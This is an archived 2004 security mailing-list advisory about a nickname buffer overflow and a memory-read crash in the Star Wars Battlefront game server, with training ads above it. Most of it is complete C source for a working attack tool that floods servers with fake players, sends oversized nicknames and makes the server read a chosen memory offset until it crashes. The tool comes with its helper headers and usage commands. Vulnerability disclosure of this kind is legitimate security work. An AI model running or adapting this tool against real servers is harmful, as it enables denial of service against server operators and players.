Ethical Hacking

Learn to find vulnerabilities before the bad guys do! Gain real world hands on hacking experience in our state of the art hacking lab. Course designed and taught by expert instructors with years of penetration testing experience. 12 student maximum in every class. Certification attempt included in every package.
Computer Forensics Training at InfoSec Institute

Gain the in-demand skills of a certified computer examiner, learn to recover trace data left behind by fraud, theft, and cybercrime perpetrators. Discover the source of computer crime and abuse at your organization so that it never happens again. All of our class sizes are guaranteed to be 12 students or less to facilitate one-on-one interaction with one of our expert instructors.




Network Security Exploits-HackingTools
[Top] [All Lists]

[NT] Limited Buffer Overflow and Arbitrary Memory Access in Star Wars Ba

Subject: [NT] Limited Buffer Overflow and Arbitrary Memory Access in Star Wars Battlefront
Date: 29 Nov 2004 10:47:51 +0200
The following security advisory is sent to the securiteam mailing list, and can 
be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html 

- - - - - - - - -



  Limited Buffer Overflow and Arbitrary Memory Access in Star Wars 
Battlefront
------------------------------------------------------------------------


SUMMARY

 <http://www.lucasarts.com/games/swbattlefront/> Star Wars Battlefront is 
the newest game based on the universe of Star Wars, is developed by  
<http://www.pandemicstudios.com> Pandemic Studios
and has been released at September 2004. Two security vulnerabilities have 
been discovered in Star Wars' Battelfront game, one allows a limited 
overflowing of a buffer and the other allows to cause a DoS against the 
client connecting to the server.

DETAILS

Vulnerable Systems:
 * Star Wars Battlefront For PC Version 1.11 and Below. (XBox and 
Playstation 2 versions may also be vulnerable).

Limited Buffer-Overflow in Nickname:
If a client uses a too big nickname causes a limited buffer-overflow in 
the server. "Limited" because doesn't seem possible to overwrite important 
memory zones or to execute remote code.

Crash Caused By Arbitrary Memory Access:
The join request uses a strange field. This field is a 32 bits value that 
must contain a memory offset used to
build the following debug message: "player %s had crash at 0x%x\n"

%s is just the memory address specified by the client. The effect, 
naturally, is that an attacker can force the server to read an unreachable 
memory location causing its immediate crash.
Note: this bug doesn't seem to affect the Playstation 2 dedicated server.

Note: Both these bugs must be considered in-game bugs because the password 
field (a 32 bits checksum) is checked before other informations so the 
packet is rejected if the password provided by the attacker is wrong.

Exploit Code:
/*
    Copyright 2004 Luigi Auriemma

    This program is free software; you can redistribute it and/or modify
    it under the terms of the GNU General Public License as published by
    the Free Software Foundation; either version 2 of the License, or
    (at your option) any later version.

    This program is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
    GNU General Public License for more details.

    You should have received a copy of the GNU General Public License
    along with this program; if not, write to the Free Software
    Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 
USA

    http://www.gnu.org/licenses/gpl.txt
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include "show_dump.h"
#include "swbcrc.h"
#include "rwbits.h"

#ifdef WIN32
    #include <winsock.h>
    #include "winerr.h"

    #define close closesocket
    #define ONESEC 1000
#else
    #include <unistd.h>
    #include <sys/socket.h>
    #include <sys/types.h>
    #include <arpa/inet.h>
    #include <netinet/in.h>
    #include <netdb.h>

    #define ONESEC 1
#endif

#define VER "0.3.1"
#define BUFFSZ 8192
#define PORT 3658
#define TIMEOUT 3
#define NEEDPWD "\x05\x00\x00\x00\x01\x02\x00\x00\x00"
#define WRONGVER "\x05\x00\x00\x00\x01\x04\x00\x00\x00"
#define CHR 'a'

void show_info_1_1(u_char *data);
int timeout(int sock);
u_long resolv(char *host);
void std_err(void);

int main(int argc, char *argv[]) {
    struct sockaddr_in peer,
                        peerl;
    u_long bits,
                mem_offset = 0;
    int sd,
                i,
                len,
                pcklen,
                nicklen,
                on = 1,
                timewait = ONESEC,
                hexdump = 0,
                guest = 0,
                src_nat = 0,
                dst_nat = 0,
                info_only = 0,
                server_ver = 0; /* 0 = 1.0 and 1.01, 1 = 1.1, and so on */
    u_short port = PORT;
    u_char *buff,
                *pck,
                *b,
                *nick = "",
                *pwd = "";

    setbuf(stdout, NULL);

    fputs("\n"
        "Star Wars Battlefront Fake Players DoS and Tester "VER"\n"
        "by Luigi Auriemma\n"
        "e-mail: aluigi@altervista.org\n"
        "web: http://aluigi.altervista.org\n";
        "\n", stdout);

    if(argc < 2) {
        printf("\n"
            "Usage: %s [options] <host>\n"
            "\n"
            "Options:\n"
            "-p PORT server port (%d)\n"
            "-n NICK the nick you want to use for your fake player 
(default is none)\n"
            "-w PASS the password to use if the server is protected\n"
            "-i shows server informations and exits. Works perfectly with 
servers\n"
            " >= 1.1 but second half of the info are wrong for servers <= 
1.01\n"
            "-t SEC seconds to wait when the server is full, default is 
1\n"
            "-v NUM version number to use for joining a server, by default 
the number\n"
            " is automatically scanned finding the exact server version\n"
            "\n"
            "Test options:\n"
            "-x shows the hex dump of the join-reply packets received\n"
            "-g enable the guest player, practically with one single 
packet is\n"
            " able to fill 2 player positions and one of them is called 
Guest\n"
            "-s SIZE uses a nickname constituited by SIZE chars '%c'\n"
            "-m 0xOFF enable a server's option that lets clients to send a 
memory location\n"
            " that will be read by the server (PS2 servers don't support 
it)\n"
            "-f NUM another test option that enable the usage of internal 
IPs (NAT).\n"
            " Since it is only for testing, all the IP and port used by 
this tool\n"
            " are those of the same server. Use -f 1 to enable client's 
NAT, 2 for\n"
            " the server or 3 to enable both\n"
            "\n", argv[0], port, CHR);
        exit(1);
    }

    argc--;
    for(i = 1; i < argc; i++) {
        switch(argv[i][1]) {
            case 'p': port = atoi(argv[++i]); break;
            case 'n': nick = argv[++i]; break;
            case 'w': pwd = argv[++i]; break;
            case 'i': info_only = 1; break;
            case 't': {
                timewait = atoi(argv[++i]);
                printf("- time to wait: %d seconds\n", timewait);
#ifdef WIN32
                timewait *= 1000;
#endif
                } break;
            case 'v': server_ver = atoi(argv[++i]); break;
            case 'x': hexdump = 1; break;
            case 'g': guest = 1; break;
            case 's': {
                nicklen = atoi(argv[++i]);
                nick = malloc(nicklen + 1);
                if(!nick) std_err();
                memset(nick, CHR, nicklen);
                nick[nicklen] = 0x00;
                } break;
            case 'm': {
                i++;
                if(argv[i][1] == 'x') sscanf(argv[i], "0x%lx", 
&mem_offset);
                    else sscanf(argv[i], "%lu", &mem_offset);
                printf("- memory offset: 0x%08lx\n", mem_offset);
                } break;
            case 'f': {
                switch(atoi(argv[++i])) {
                    case 1: src_nat = 1; break;
                    case 2: dst_nat = 1; break;
                    case 3: src_nat = dst_nat = 1; break;
                    default: {
                        fputs("\nError: NAT options are 1, 2 or 3\n\n", 
stdout);
                        exit(1);
                        } break;
                }
                } break;
            default: {
                printf("\nError: wrong command-line argument (%s)\n\n", 
argv[i]);
                exit(1);
                } break;
        }
    }

#ifdef WIN32
    WSADATA wsadata;
    WSAStartup(MAKEWORD(1,0), &wsadata);
#endif

    peer.sin_addr.s_addr = resolv(argv[argc]);
    peer.sin_port = htons(port);
    peer.sin_family = AF_INET;

    peerl.sin_addr.s_addr = INADDR_ANY;
    peerl.sin_port = htons(time(NULL));
    peerl.sin_family = AF_INET;

    printf("- target %s:%hu\n",
        inet_ntoa(peer.sin_addr), port);

    fputs("- request informations:\n", stdout);
    sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
    if(!sd) std_err();

    buff = malloc(BUFFSZ);
    if(!buff) std_err();

        /* BUILD INFO PACKET */

    memset(buff, 0x00, BUFFSZ); /* no longer needed */

    buff[0] = 2; /* info packet */
    *(u_short *)(buff + 2) = 0xffff;
    *(u_short *)(buff + 4) = 0;
    b = buff + 5;

    bits = write_bits(0, 1, b, 0);
    bits = write_bits(time(NULL), 32, b, bits); // track ID 1 | used to 
track our
    bits = write_bits(0, 4, b, bits); // track ID 2 | query in the reply

    pcklen = 5 + (bits >> 3);
    if(bits & 7) pcklen++;
    i = (pcklen - 5) & 3; /* SWB decodes 32 bits of data each time */
    if(i) pcklen += (4 - i);

        /* END INFO PACKET */

    if(sendto(sd, buff, pcklen, 0, (struct sockaddr *)&peer, sizeof(peer))
      < 0) std_err();
    if(timeout(sd) < 0) {
        fputs("\nError: socket timeout, probably the server uses another 
port\n\n", stdout);
        exit(1);
    }
    if(recvfrom(sd, buff, BUFFSZ, 0, NULL, NULL)
      < 0) std_err();
    show_info_1_1(buff);
    close(sd);

    if(info_only) return(0);

        /* BUILD JOIN PACKET */

    memset(buff, 0x00, BUFFSZ); /* no longer needed */

    buff[0] = 4; /* join packet */
    *(u_short *)(buff + 2) = 0xffff;
    *(u_short *)(buff + 4) = 0;
    b = buff + 5;

    bits = write_bits(server_ver, 12, b, 0);
    bits = write_bits(swbcrc(pwd, strlen(pwd)), 32, b, bits);
    bits = write_bits(guest, 1, b, bits); // if 1, add also a Guest player
    bits = write_bits(1, 2, b, bits); // don't know

    nicklen = strlen(nick);
    bits = write_bits(nicklen, 8, b, bits);
    for(i = 0; i < nicklen; i++) {
        bits = write_bits(nick[i], 8, b, bits);
    }

    i = bits >> 3;
    if(bits & 7) i++;
    if(i & 3) i += (4 - (i & 3));
    bits = (i + 4) << 3; /* 4 = there is a 32 bit number between the 2 
bits containers */

    bits = write_bits(0, 32, b, bits); // don't know
    if(mem_offset) {
        bits = write_bits(1, 1, b, bits);
        bits = write_bits(mem_offset, 32, b, bits);
    } else {
        bits = write_bits(0, 1, b, bits);
    }

    bits = write_bits(1, 1, b, bits); // don't know
    bits = write_bits(1, 1, b, bits); // don't know

        /* IP and port in little-endian (I know that on a big-endian CPU 
this instructions
           don't return the exact IP and port, but is not important for 
this tool) */

    bits = write_bits(ntohl(peer.sin_addr.s_addr), 32, b, bits); /* source 
IP */
    bits = write_bits(port, 16, b, bits); /* source port */

    if(src_nat) { /* LAN IP and port of the client */
        bits = write_bits(1, 1, b, bits);
        bits = write_bits(1, 1, b, bits);
        bits = write_bits(ntohl(peer.sin_addr.s_addr), 32, b, bits);
        bits = write_bits(port, 16, b, bits);
    } else {
        bits = write_bits(0, 1, b, bits);
    }

    bits = write_bits(ntohl(peer.sin_addr.s_addr), 32, b, bits); /* dest 
IP */
    bits = write_bits(port, 16, b, bits); /* dest port */

    if(dst_nat) { /* LAN IP and port of the server */
        bits = write_bits(1, 1, b, bits);
        bits = write_bits(1, 1, b, bits);
        bits = write_bits(ntohl(peer.sin_addr.s_addr), 32, b, bits);
        bits = write_bits(port, 16, b, bits);
    } else {
        bits = write_bits(0, 1, b, bits);
    }

    pcklen = 5 + (bits >> 3);
    if(bits & 7) pcklen++;
    i = (pcklen - 5) & 3; /* SWB decodes 32 bits of data each time */
    if(i) pcklen += (4 - i);

        /* END JOIN PACKET */

    pck = malloc(pcklen);
    if(!pck) std_err();
    memcpy(pck, buff, pcklen);
    b = pck + 5;

    fputs("- start fake players attack:\n\n", stdout);
    for(;;) {
        for(;;) {
            fputs(" player: ", stdout);

            sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
            if(sd < 0) std_err();

            if(setsockopt(sd, SOL_SOCKET, SO_REUSEADDR, (char *)&on, 
sizeof(on))
              < 0) std_err();
            peerl.sin_port++;
            if(bind(sd, (struct sockaddr *)&peerl, sizeof(peerl))
              < 0) std_err();

            if(sendto(sd, pck, pcklen, 0, (struct sockaddr *)&peer, 
sizeof(peer))
              < 0) std_err();
            fputc('.', stdout);

            if(timeout(sd) < 0) {
                fputs("\n"
                    "Error: socket timeout, no reply received\n"
                    "\n", stdout);
                exit(1);
            }
            len = recvfrom(sd, buff, BUFFSZ, 0, NULL, NULL);
            if(len < 0) std_err();
            fputc('.', stdout);
            close(sd);

            if(*buff != 6) {
                if(buff[5] == 1) {
                    break; // full
                } else if(!memcmp(buff, NEEDPWD, len)) {
                    fputs("\n"
                        "Error: seems the server is password protected, 
use the -w option and specify\n"
                        " the correct password\n"
                        "\n", stdout);
                    exit(1);
                } if(!memcmp(buff, WRONGVER, len)) {
                    server_ver = read_bits(12, b, 0);
                    printf(" wrong version (%d), I try to scan the next 
version\n", server_ver++);
                    write_bits(server_ver, 12, b, 0);
                    continue;
                }

                fputs("\nError: unknown error, check the following 
dump:\n", stdout);
                show_dump(buff, len, stdout);
                exit(1);
            }

            fputs(" ok\n", stdout);

            if(hexdump) {
                show_dump(buff, len, stdout);
                fputc('\n', stdout);
            }
        }

        fputs(" server full\n", stdout);
        sleep(timewait);
    }

    return(0);
}

    /* STAR WARS BATTLEFRONT 1.1 */
void show_info_1_1(u_char *data) {
    u_long len,
            bits = 0;

    data += 5;
    read_bits(32, data, bits); bits += 32; /* track ID 1, the same of our 
query */
    read_bits(4, data, bits); bits += 4; /* track ID 1, the same of our 
query */
    fputs("\n Server name: ", stdout);
    len = read_bits(8, data, bits); bits += 8;
    while(len--) {
        fputc(read_bits(8, data, bits), stdout);
        bits += 8;
    }
    fputs("\n Gametype: ", stdout);
    len = read_bits(8, data, bits); bits += 8;
    while(len--) {
        fputc(read_bits(8, data, bits), stdout);
        bits += 8;
    }
    fputs("\n Mission: ", stdout);
    len = read_bits(8, data, bits); bits += 8;
    while(len--) {
        fputc(read_bits(8, data, bits), stdout);
        bits += 8;
    }
    fputc('\n', stdout);
    printf(" Dedicated %s\n", read_bits(1, data, bits) ? "on" : "off"); 
bits += 1;
    printf(" Team Auto Assign %s\n", read_bits(1, data, bits) ? "on" : 
"off"); bits += 1;
    printf(" Heroes %s\n", read_bits(1, data, bits) ? "on" : "off"); bits 
+= 1;
    printf(" Team Damage %s\n", read_bits(1, data, bits) ? "on" : "off"); 
bits += 1;
    printf(" Password %s\n", read_bits(1, data, bits) ? "on" : "off"); 
bits += 1;
    printf(" AI Units %lu\n", read_bits(8, data, bits)); bits += 8;
    printf(" Score %lu to ", read_bits(11, data, bits)); bits += 11;
    printf("%lu\n", read_bits(11, data, bits)); bits += 11;
    printf(" Players %lu\n", read_bits(7, data, bits)); bits += 7;
    len = read_bits(7, data, bits);
    if(!len) {
        fputs("\n"
            " The version of this server is not compatible with the query 
protocol used by\n"
            " this tool. All the informations until Password should be 
correct\n"
            "\n", stdout);
        return;
    }
    bits += 7;
    printf(" Max Players %lu\n", len);
    printf(" ??? %lu\n", read_bits(3, data, bits)); bits += 3;
    printf(" ??? %lu\n", read_bits(8, data, bits)); bits += 8;
    printf(" Min Players %lu\n", read_bits(7, data, bits)); bits += 7;
    printf(" AI Difficulty %lu\n", read_bits(2, data, bits)); bits += 2;
    printf(" Show Player Names %s\n", read_bits(1, data, bits) ? "on" : 
"off"); bits += 1;
    printf(" Spawn Invincibility %lu\n", read_bits(6, data, bits)); bits 
+= 6;
    fputc('\n', stdout);
}

int timeout(int sock) {
    struct timeval tout;
    fd_set fd_read;
    int err;

    tout.tv_sec = TIMEOUT;
    tout.tv_usec = 0;
    FD_ZERO(&fd_read);
    FD_SET(sock, &fd_read);
    err = select(sock + 1, &fd_read, NULL, NULL, &tout);
    if(err < 0) std_err();
    if(!err) return(-1);
    return(0);
}

u_long resolv(char *host) {
    struct hostent *hp;
    u_long host_ip;

    host_ip = inet_addr(host);
    if(host_ip == INADDR_NONE) {
        hp = gethostbyname(host);
        if(!hp) {
            printf("\nError: Unable to resolv hostname (%s)\n", host);
            exit(1);
        } else host_ip = *(u_long *)hp->h_addr;
    }
    return(host_ip);
}

#ifndef WIN32
    void std_err(void) {
        perror("\nError");
        exit(1);
    }
#endif

show_dump.h
/*

Show_dump 0.1

    Copyright 2004 Luigi Auriemma

    This program is free software; you can redistribute it and/or modify
    it under the terms of the GNU General Public License as published by
    the Free Software Foundation; either version 2 of the License, or
    (at your option) any later version.

    This program is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
    GNU General Public License for more details.

    You should have received a copy of the GNU General Public License
    along with this program; if not, write to the Free Software
    Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 
USA

    http://www.gnu.org/licenses/gpl.txt

function to show the hex dump of a buffer

Usage:

    to show the hex dump on the screen:
        show_dump(buffer, buffer_length, stdout);

    to write the hex dump in a file or other streams:
        show_dump(buffer, buffer_length, fd);

    (if you know C you know what FILE *stream means 8-)
*/



void show_dump(unsigned char *buff, unsigned long buffsz, FILE *stream) {
    const char *hex = "0123456789abcdef";
    unsigned char buffout[68],
                    *pout,
                    *p1,
                    *p2,
                    i,
                    rest;


    p1 = buff;
    p2 = buff;

    while(buffsz) {

        pout = buffout;
        if(buffsz < 16) rest = buffsz;
            else rest = 16;

        for(i = 0; i < rest; i++, p1++) {
            *pout++ = hex[*p1 >> 4];
            *pout++ = hex[*p1 & 0xf];
            *pout++ = 0x20;
        }

        for(i = pout - buffout; i < 50; i++, pout++) *pout = 0x20;

        for(i = 0; i < rest; i++, p2++, pout++) {
            if(*p2 >= 0x20) *pout = *p2;
                else *pout = 0x2e;
        }

        *pout++ = 0x0a;
        *pout = 0x00;

        fputs(buffout, stream);
        buffsz -= rest;
    }
}

swbcrc.h
/*

StarWars Battlefront CRC32 0.1
by Luigi Auriemma
e-mail: aluigi@altervista.org
web: http://aluigi.altervista.org


INTRODUCTION
-===========
This modified CRC32 algorithm is used for some operations like the
password authentication, in fact the password is a checksum comparison.


EXAMPLE
-======
mycrc = swbcrc(password, stlren(password));


LICENSE
-======
    Copyright 2004 Luigi Auriemma

    This program is free software; you can redistribute it and/or modify
    it under the terms of the GNU General Public License as published by
    the Free Software Foundation; either version 2 of the License, or
    (at your option) any later version.

    This program is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
    GNU General Public License for more details.

    You should have received a copy of the GNU General Public License
    along with this program; if not, write to the Free Software
    Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 
USA

    http://www.gnu.org/licenses/gpl.txt

*/

unsigned long swbcrc(unsigned char *data, int size) {
    const static unsigned long crctable[] = {
        0x00000000, 0x04c11db7, 0x09823b6e, 0x0d4326d9,
        0x130476dc, 0x17c56b6b, 0x1a864db2, 0x1e475005,
        0x2608edb8, 0x22c9f00f, 0x2f8ad6d6, 0x2b4bcb61,
        0x350c9b64, 0x31cd86d3, 0x3c8ea00a, 0x384fbdbd,
        0x4c11db70, 0x48d0c6c7, 0x4593e01e, 0x4152fda9,
        0x5f15adac, 0x5bd4b01b, 0x569796c2, 0x52568b75,
        0x6a1936c8, 0x6ed82b7f, 0x639b0da6, 0x675a1011,
        0x791d4014, 0x7ddc5da3, 0x709f7b7a, 0x745e66cd,
        0x9823b6e0, 0x9ce2ab57, 0x91a18d8e, 0x95609039,
        0x8b27c03c, 0x8fe6dd8b, 0x82a5fb52, 0x8664e6e5,
        0xbe2b5b58, 0xbaea46ef, 0xb7a96036, 0xb3687d81,
        0xad2f2d84, 0xa9ee3033, 0xa4ad16ea, 0xa06c0b5d,
        0xd4326d90, 0xd0f37027, 0xddb056fe, 0xd9714b49,
        0xc7361b4c, 0xc3f706fb, 0xceb42022, 0xca753d95,
        0xf23a8028, 0xf6fb9d9f, 0xfbb8bb46, 0xff79a6f1,
        0xe13ef6f4, 0xe5ffeb43, 0xe8bccd9a, 0xec7dd02d,
        0x34867077, 0x30476dc0, 0x3d044b19, 0x39c556ae,
        0x278206ab, 0x23431b1c, 0x2e003dc5, 0x2ac12072,
        0x128e9dcf, 0x164f8078, 0x1b0ca6a1, 0x1fcdbb16,
        0x018aeb13, 0x054bf6a4, 0x0808d07d, 0x0cc9cdca,
        0x7897ab07, 0x7c56b6b0, 0x71159069, 0x75d48dde,
        0x6b93dddb, 0x6f52c06c, 0x6211e6b5, 0x66d0fb02,
        0x5e9f46bf, 0x5a5e5b08, 0x571d7dd1, 0x53dc6066,
        0x4d9b3063, 0x495a2dd4, 0x44190b0d, 0x40d816ba,
        0xaca5c697, 0xa864db20, 0xa527fdf9, 0xa1e6e04e,
        0xbfa1b04b, 0xbb60adfc, 0xb6238b25, 0xb2e29692,
        0x8aad2b2f, 0x8e6c3698, 0x832f1041, 0x87ee0df6,
        0x99a95df3, 0x9d684044, 0x902b669d, 0x94ea7b2a,
        0xe0b41de7, 0xe4750050, 0xe9362689, 0xedf73b3e,
        0xf3b06b3b, 0xf771768c, 0xfa325055, 0xfef34de2,
        0xc6bcf05f, 0xc27dede8, 0xcf3ecb31, 0xcbffd686,
        0xd5b88683, 0xd1799b34, 0xdc3abded, 0xd8fba05a,
        0x690ce0ee, 0x6dcdfd59, 0x608edb80, 0x644fc637,
        0x7a089632, 0x7ec98b85, 0x738aad5c, 0x774bb0eb,
        0x4f040d56, 0x4bc510e1, 0x46863638, 0x42472b8f,
        0x5c007b8a, 0x58c1663d, 0x558240e4, 0x51435d53,
        0x251d3b9e, 0x21dc2629, 0x2c9f00f0, 0x285e1d47,
        0x36194d42, 0x32d850f5, 0x3f9b762c, 0x3b5a6b9b,
        0x0315d626, 0x07d4cb91, 0x0a97ed48, 0x0e56f0ff,
        0x1011a0fa, 0x14d0bd4d, 0x19939b94, 0x1d528623,
        0xf12f560e, 0xf5ee4bb9, 0xf8ad6d60, 0xfc6c70d7,
        0xe22b20d2, 0xe6ea3d65, 0xeba91bbc, 0xef68060b,
        0xd727bbb6, 0xd3e6a601, 0xdea580d8, 0xda649d6f,
        0xc423cd6a, 0xc0e2d0dd, 0xcda1f604, 0xc960ebb3,
        0xbd3e8d7e, 0xb9ff90c9, 0xb4bcb610, 0xb07daba7,
        0xae3afba2, 0xaafbe615, 0xa7b8c0cc, 0xa379dd7b,
        0x9b3660c6, 0x9ff77d71, 0x92b45ba8, 0x9675461f,
        0x8832161a, 0x8cf30bad, 0x81b02d74, 0x857130c3,
        0x5d8a9099, 0x594b8d2e, 0x5408abf7, 0x50c9b640,
        0x4e8ee645, 0x4a4ffbf2, 0x470cdd2b, 0x43cdc09c,
        0x7b827d21, 0x7f436096, 0x7200464f, 0x76c15bf8,
        0x68860bfd, 0x6c47164a, 0x61043093, 0x65c52d24,
        0x119b4be9, 0x155a565e, 0x18197087, 0x1cd86d30,
        0x029f3d35, 0x065e2082, 0x0b1d065b, 0x0fdc1bec,
        0x3793a651, 0x3352bbe6, 0x3e119d3f, 0x3ad08088,
        0x2497d08d, 0x2056cd3a, 0x2d15ebe3, 0x29d4f654,
        0xc5a92679, 0xc1683bce, 0xcc2b1d17, 0xc8ea00a0,
        0xd6ad50a5, 0xd26c4d12, 0xdf2f6bcb, 0xdbee767c,
        0xe3a1cbc1, 0xe760d676, 0xea23f0af, 0xeee2ed18,
        0xf0a5bd1d, 0xf464a0aa, 0xf9278673, 0xfde69bc4,
        0x89b8fd09, 0x8d79e0be, 0x803ac667, 0x84fbdbd0,
        0x9abc8bd5, 0x9e7d9662, 0x933eb0bb, 0x97ffad0c,
        0xafb010b1, 0xab710d06, 0xa6322bdf, 0xa2f33668,
        0xbcb4666d, 0xb8757bda, 0xb5365d03, 0xb1f740b4 };
    unsigned long crc = 0xffffffffL;

    while(size--) {
        crc = crctable[*data ^ (crc >> 24)] ^ (crc << 8);
        data++;
    }
    return(~crc);
}

rwbits.h
/*

Read/Write bits to buffer 0.1.1
by Luigi Auriemma
e-mail: aluigi@altervista.org
web: http://aluigi.altervista.org

max 32 bits numbers supported (from 0 to 4294967295).
Probably not the fastest bit packing functions existent, but I like them.

*/



unsigned long read_bits( // number read
  unsigned long bits, // how much bits to read
  unsigned char *in, // buffer from which to read the number
  unsigned long in_bits // position of the buffer in bits
) {
    unsigned long seek_bits,
                    rem,
                    seek = 0,
                    ret = 0,
                    mask = -1L;

    if(bits > 32) return(0);
    if(bits < 32) mask = (1 << bits) - 1;
    for(;;) {
        seek_bits = in_bits & 7;
        ret |= ((*(in + (in_bits >> 3)) >> seek_bits) & mask) << seek;
        rem = 8 - seek_bits;
        if(rem >= bits) break;
        bits -= rem;
        in_bits += rem;
        seek += rem;
        mask = (1 << bits) - 1;
    }
    return(ret);
}



unsigned long write_bits( // position where the stored number finishs
  unsigned long data, // number to store
  unsigned long bits, // how much bits to occupy
  unsigned char *out, // buffer on which to store the number
  unsigned long out_bits // position of the buffer in bits
) {
    unsigned long seek_bits,
                    rem;

    if(bits > 32) return(out_bits);
    if(bits < 32) data &= ((1 << bits) - 1);
    for(;;) {
        seek_bits = out_bits & 7;
        *(out + (out_bits >> 3)) &= (1 << seek_bits) - 1; // zero
        *(out + (out_bits >> 3)) |= (data << seek_bits);
        rem = 8 - seek_bits;
        if(rem >= bits) break;
        out_bits += rem;
        bits -= rem;
        data >>= rem;
    }
    return(out_bits + bits);
}

Usage examples:
Running: swbfp -s 100 localhost sends a nickname of 100 chars to the 
server
Running: swbfp -m 1234 localhost forces the server to read the data at 
offset 1234 (0x000004d2)


ADDITIONAL INFORMATION

The information has been provided by  <mailto:aluigi@autistici.org> Luigi 
Auriemma.



======================================== 


This bulletin is sent to members of the SecuriTeam mailing list. 
To unsubscribe from the list, send mail with an empty subject line and body to: 
list-unsubscribe@securiteam.com 
In order to subscribe to the mailing list, simply forward this email to: 
list-subscribe@securiteam.com 


==================== 
==================== 

DISCLAIMER: 
The information in this bulletin is provided "AS IS" without warranty of any 
kind. 
In no event shall we be liable for any damages whatsoever including direct, 
indirect, incidental, consequential, loss of business profits or special 
damages. 




<Prev in Thread] Current Thread [Next in Thread>
  • [NT] Limited Buffer Overflow and Arbitrary Memory Access in Star Wars Battlefront, SecuriTeam <=